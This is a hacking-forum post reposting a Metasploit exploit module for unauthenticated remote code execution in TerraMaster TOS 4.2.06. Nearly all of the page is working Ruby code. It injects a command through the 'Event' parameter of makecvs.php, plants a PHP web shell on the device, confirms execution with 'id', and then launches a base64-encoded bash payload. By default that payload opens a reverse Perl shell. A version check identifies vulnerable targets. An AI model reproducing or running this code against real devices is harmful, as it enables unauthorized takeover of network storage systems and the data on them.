Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution (Metasploit)

 Share


Recommended Posts

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution",
      'Description' => %q(
        This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS.
        The "Event" parameter in "include/makecvs.php" contains a vulnerability. 
        "filename" is executing command on system during ".csv" creation. 
        In order to do this, it is not necessary to have a session in the application.
        Therefore an unathenticated user can execute the command on the system.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', #PoC & Metasploit module
          'IHTeam' # Discovery
        ],
      'References' =>
        [
          ['CVE', '2020-'],
          ['URL', 'http://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html'],
          ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/']
        ],
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Dec 12 2020",
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'RPORT' => 8181,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_perl' }))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
      ]
    )
  end

  def run_cmd(file,cmd)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri'     =>  normalize_uri(target_uri.path, "#{file}"),
        'data' => "cmd=#{cmd}"
      })
  end

  def upload_shell
    sname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    payload_post = "http|echo \"<?php echo(passthru(\\$_REQUEST['cmd']));?>\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||"
    @b64p = Rex::Text.encode_base64(payload.encoded)
    perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
    payload = Rex::Text.uri_encode(perl_payload)

    res = send_request_cgi(
      'method'  => 'GET',
      'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"),
      'vars_get' => {
        'Event' => "#{payload_post}",
      }
    )

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, "#{sname}"),
      'vars_post' => {
        'cmd' => 'id'
      }
    )

    if res && res.code == 200 && res.body.include?('uid=')
      print_good("Upload completed successfully and command executed!")
      run_cmd("#{sname}",payload)
    else
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    upload_shell    
  end

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, "version"),
    )

    if res && res.code == 200 && res.body
      version = res.body.split(".0_")[1]
      print_status("Version : " + res.body)
      return CheckCode::Detected if version.nil?
      version = version.split(".").join('')
      if version <= "4206"
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    end
  end
end
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...